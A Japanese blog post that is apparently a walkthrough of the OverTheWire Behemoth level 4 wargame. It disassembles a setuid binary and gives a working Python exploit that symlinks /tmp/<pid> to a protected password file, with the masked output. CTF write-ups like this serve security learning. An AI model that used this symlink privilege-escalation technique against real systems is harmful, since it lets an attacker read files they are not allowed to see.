最近遊んでいるOverTheWireのBehemothのレベル4がシンボリックリンク攻撃だったのでその攻略めもです。
behemothの問題はソースコードは公開されてないので見れるのはバイナリだけです。で、gdbでdisas mainしたときの表示がこちら。
Dump of assembler code for function main: 0x080485dd <+0>: push ebp 0x080485de <+1>: mov ebp,esp 0x080485e0 <+3>: and esp,0xfffffff0 0x080485e3 <+6>: sub esp,0x40 0x080485e6 <+9>: mov eax,gs:0x14 0x080485ec <+15>: mov DWORD PTR [esp+0x3c],eax 0x080485f0 <+19>: xor eax,eax 0x080485f2 <+21>: call 0x8048460 <getpid@plt> 0x080485f7 <+26>: mov DWORD PTR [esp+0x1c],eax 0x080485fb <+30>: mov eax,DWORD PTR [esp+0x1c] 0x080485ff <+34>: mov DWORD PTR [esp+0x8],eax 0x08048603 <+38>: mov DWORD PTR [esp+0x4],0x8048740 0x0804860b <+46>: lea eax,[esp+0x28] 0x0804860f <+50>: mov DWORD PTR [esp],eax 0x08048612 <+53>: call 0x80484d0 <sprintf@plt> 0x08048617 <+58>: mov DWORD PTR [esp+0x4],0x8048748 0x0804861f <+66>: lea eax,[esp+0x28] 0x08048623 <+70>: mov DWORD PTR [esp],eax 0x08048626 <+73>: call 0x80484a0 <fopen@plt> 0x0804862b <+78>: mov DWORD PTR [esp+0x20],eax 0x0804862f <+82>: cmp DWORD PTR [esp+0x20],0x0 0x08048634 <+87>: jne 0x8048644 <main+103> 0x08048636 <+89>: mov DWORD PTR [esp],0x804874a 0x0804863d <+96>: call 0x8048470 <puts@plt> 0x08048642 <+101>: jmp 0x804868d <main+176> 0x08048644 <+103>: mov DWORD PTR [esp],0x1 0x0804864b <+110>: call 0x8048440 <sleep@plt> 0x08048650 <+115>: mov DWORD PTR [esp],0x8048759 0x08048657 <+122>: call 0x8048470 <puts@plt> 0x0804865c <+127>: jmp 0x804866a <main+141> 0x0804865e <+129>: mov eax,DWORD PTR [esp+0x24] 0x08048662 <+133>: mov DWORD PTR [esp],eax 0x08048665 <+136>: call 0x80484b0 <putchar@plt> 0x0804866a <+141>: mov eax,DWORD PTR [esp+0x20] 0x0804866e <+145>: mov DWORD PTR [esp],eax 0x08048671 <+148>: call 0x80484c0 <fgetc@plt> 0x08048676 <+153>: mov DWORD PTR [esp+0x24],eax 0x0804867a <+157>: cmp DWORD PTR [esp+0x24],0xffffffff 0x0804867f <+162>: jne 0x804865e <main+129> 0x08048681 <+164>: mov eax,DWORD PTR [esp+0x20] 0x08048685 <+168>: mov DWORD PTR [esp],eax 0x08048688 <+171>: call 0x8048430 <fclose@plt> 0x0804868d <+176>: mov eax,0x0 0x08048692 <+181>: mov edx,DWORD PTR [esp+0x3c] 0x08048696 <+185>: xor edx,DWORD PTR gs:0x14 0x0804869d <+192>: je 0x80486a4 <main+199> 0x0804869f <+194>: call 0x8048450 <__stack_chk_fail@plt> 0x080486a4 <+199>: leave 0x080486a5 <+200>: ret End of assembler dump.
処理自体はmain()で完結してます。このプログラムは最初にgetpid(2)で自身のPIDを取得します。そしてsprintf(3)で以下のような形でファイル名を作成してます。
sprintf(buf, "/tmp/%d", pid)
そして、fopen(3)でこのファイルを読みこみで開きます。もし、ファイルが無ければ、エラーメッセージを出して終了します。 ファイルが有った場合はfgetc(3)で開いたファイルから1byte読み込んで、読み込んだデータをputchar(2)で出力します。 なので、/tmp/${pid}が存在すれば、そのデータを出力できるですね。ここで読み込みたいファイルは次の問題へアクセするためのパスワードが書いてある/etc/behemoth_pass/behemoth5です。
behemoth4はsetuidされたバイナリなので/etc/behemoth_pass/behemoth5を読むことはできます。ログインしているユーザはbehemoth4なので/etc/behemoth_pass/behemoth5を直接読みことはできません。 で、どうするかというところでシンボリックリンクが出てきて、/tmp/${pid}が/etc/behemoth_pass/behemoth5を参照するようになっていればプログラムのbehemoth4はパスワードのファイルを読めます。
よって、この問題はpidさえ分かれば解決できます。じゃあ、pidをどうやって知るかとろころで、適当にコマンド動かしてそのpidからブルートフォースで/tmp/の下にシンボリックリンクのファイルを作るとか、適当なpidを選んで(1234とか)そのpidになるまで延々と実行するとかもあるんですが、めんどくさいのでpythonのスクリプトでpopenでプロセス起動すればpidがわかるのでそこでシンボリックリンクを作ってしまいます。
#!/usr/bin/env python2 from subprocess import Popen import os target = '/behemoth/behemoth4' pass_file = '/etc/behemoth_pass/behemoth5' p = Popen([target]) print("[*] target %s's pid is %d" % (target, p.pid)) fake_file = '/tmp/%d' % (p.pid) print('[*] create fake file %s' % fake_file) os.symlink(pass_file, fake_file) p.wait print('[*] Done')
そして、これを実行するとこんな感じで、*********のところが実際のパスワードとして表示されてレベル4クリアとなりますヽ(=´▽`=)ノ
behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ ./poc.py [*] target /behemoth/behemoth4's pid is 12523 [*] create fake file /tmp/12523 [*] Done behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ Finished sleeping, fgetcing *********
Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~
- 作者: 大和田茂,川上和義,小菅昌克,.
- 出版社/メーカー: マイナビ出版
- 発売日: 2016/10/31
- メディア: 単行本(ソフトカバー)
- この商品を含むブログを見る